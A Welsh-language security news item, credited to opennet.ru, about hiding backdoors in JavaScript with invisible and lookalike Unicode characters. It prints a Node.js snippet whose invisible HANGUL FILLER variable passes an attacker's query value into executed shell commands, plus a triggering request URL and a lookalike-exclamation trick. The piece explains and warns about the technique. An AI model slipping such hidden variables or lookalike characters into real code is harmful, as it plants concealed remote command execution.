Defnyddio nodau unicode anweledig i guddio gweithredoedd yn y cod JavaScript

Yn dilyn y dull ymosodiad Ffynhonnell Trojan, sy'n seiliedig ar y defnydd o nodau Unicode sy'n newid trefn arddangos testun deugyfeiriadol, mae techneg arall ar gyfer cyflwyno gweithredoedd cudd wedi'i chyhoeddi, sy'n berthnasol i god JavaScript. Mae'r dull newydd yn seiliedig ar y defnydd o'r nod unicode β€œγ…€β€ (cod 0x3164, β€œHANGUL FILLER”), sy'n perthyn i'r categori llythyrau, ond heb gynnwys gweladwy. Mae'r categori Unicode y mae'r nod hwn yn perthyn iddo wedi'i ganiatΓ‘u ers manyleb ECMAScript 2015 i'w ddefnyddio mewn enwau newidyn JavaScript, gan ei gwneud hi'n bosibl creu newidynnau anweledig neu newidynnau newydd na ellir eu gwahaniaethu oddi wrth newidynnau eraill mewn golygyddion cod poblogaidd fel Notepad ++ a VS Code.

Er enghraifft, rhoddir y cod ar gyfer platfform Node.js, lle, gan ddefnyddio newidyn sy'n cynnwys un nod β€œγ…€β€, mae drws cefn wedi'i guddio sy'n caniatΓ‘u gweithredu'r cod a nodir gan yr ymosodwr: app.get('/ network_health ', async (req, res) => { const { goramser, γ…€} = req.query; // mewn gwirionedd mae'n dweud β€œconst { goramser, γ…€ \u3164}” const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/', γ…€ // dilynir y coma gan y cymeriad \u3164 ];

Ar yr olwg gyntaf, dim ond y gwerth terfyn amser sy'n cael ei basio trwy'r paramedr allanol, ac mae'r arae gyda'r gorchmynion i'w gweithredu yn cynnwys rhestr sefydlog ddiniwed. Ond mewn gwirionedd, ar Γ΄l y newidyn terfyn amser, mae gwerth newidyn anweledig arall gyda'r cod nod \u3164 yn cael ei neilltuo, sydd hefyd yn cael ei amnewid yn yr amrywiaeth o orchmynion gweithredadwy. Felly, os oes dyluniad o'r fath ar gael, gall ymosodwr anfon cais fel β€œhttps://host: 8080/network_health?%E3%85%A4=command” i actifadu'r drws cefn a gweithredu eu cod.

Enghraifft arall yw'r cymeriad "Ηƒ" (CLICIWCH ALVEOLAR), y gellir ei ddefnyddio i roi ymddangosiad nodi pwynt ebychnod. Er enghraifft, bydd yr ymadrodd β€œif(environmentΗƒ=ENV_PROD){” pan gaiff ei weithredu yn Node.js 14 bob amser yn wir, gan nad yw'n gwirio am wahaniaethau, ond yn aseinio gwerth ENV_PROD i'r newidyn β€œenvironmentǃ”. Mae cymeriadau unicode camarweiniol eraill yn cynnwys "/", "βˆ’", "οΌ‹", "β©΅", "❨", "β«½", "κ“Ώ" a "βˆ—".

Ffynhonnell: opennet.ru

Ychwanegu sylw